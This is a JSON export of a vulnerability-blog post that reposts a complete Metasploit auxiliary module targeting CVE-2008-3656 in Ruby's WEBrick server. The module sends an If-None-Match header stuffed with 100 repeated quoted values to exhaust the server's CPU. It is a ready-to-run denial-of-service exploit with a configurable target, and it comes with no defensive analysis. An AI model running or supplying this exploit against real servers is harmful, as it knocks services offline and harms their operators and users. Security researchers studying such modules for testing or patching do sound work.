{"id":59277,"date":"2024-08-31T21:19:55","date_gmt":"2024-08-31T18:19:55","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180518\/webrick_regex.rb.txt"},"modified":"2024-08-31T21:19:55","modified_gmt":"2024-08-31T18:19:55","slug":"ruby-webrickhttpdefaultfilehandler-denial-of-service","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/ruby-webrickhttpdefaultfilehandler-denial-of-service\/","title":{"rendered":"Ruby WEBrick::HTTP::DefaultFileHandler Denial of Service"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Auxiliary::Dos<\/p>\n<p>def initialize(info = {})<br \/>super(update_info(info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Ruby WEBrick::HTTP::DefaultFileHandler DoS&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>The WEBrick::HTTP::DefaultFileHandler in WEBrick in<br \/>Ruby 1.8.5 and earlier, 1.8.6 to 1.8.6-p286, 1.8.7<br \/>to 1.8.7-p71, and 1.9 to r18423 allows for a DoS<br \/>(CPU consumption) via a crafted HTTP request.<br \/>},<br \/>&#8216;Author&#8217; =&gt; &#8216;kris katterjohn&#8217;,<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;References&#8217; =&gt; [<br \/>[ &#8216;BID&#8217;, &#8216;30644&#8217;],<br \/>[ &#8216;CVE&#8217;, &#8216;2008-3656&#8217;],<br \/>[ &#8216;OSVDB&#8217;, &#8216;47471&#8217; ],<br \/>[ &#8216;URL&#8217;, &#8216;http:\/\/www.ruby-lang.org\/en\/news\/2008\/08\/08\/multiple-vulnerabilities-in-ruby\/&#8217;]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2008-08-08&#8217;))<\/p>\n<p>register_options([<br \/>OptString.new(&#8216;URI&#8217;, [ true, &#8216;URI to request&#8217;, &#8216;\/&#8217; ])<br \/>])<br \/>end<\/p>\n<p>def run<br \/>begin<br \/>o = {<br \/>&#8216;uri&#8217; =&gt; normalize_uri(datastore[&#8216;URI&#8217;]),<br \/>&#8216;headers&#8217; =&gt; {<br \/>&#8216;If-None-Match&#8217; =&gt; %q{foo=&#8221;&#8221;} + %q{bar=&#8221;baz&#8221; } * 100<br \/>}<br \/>}<\/p>\n<p>c = connect(o)<br \/>c.send_request(c.request_raw(o))<\/p>\n<p>print_status(&#8220;Request sent to #{rhost}:#{rport}&#8221;)<br \/>rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout<br \/>print_status(&#8220;Couldn&#8217;t connect to #{rhost}:#{rport}&#8221;)<br \/>rescue ::Timeout::Error, ::Errno::EPIPE<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClientinclude Msf::Auxiliary::Dos def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Ruby WEBrick::HTTP::DefaultFileHandler DoS&#8217;,&#8216;Description&#8217; =&gt; %q{The WEBrick::HTTP::DefaultFileHandler in WEBrick inRuby 1.8.5 and earlier, 1.8.6 to 1.8.6-p286, 1.8.7to 1.8.7-p71, and 1.9 to r18423 allows for a DoS(CPU consumption) via a crafted HTTP request.},&#8216;Author&#8217; =&gt; &#8216;kris katterjohn&#8217;,&#8216;License&#8217; =&gt; &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59277","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59277","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59277"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59277\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59277"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59277"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59277"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}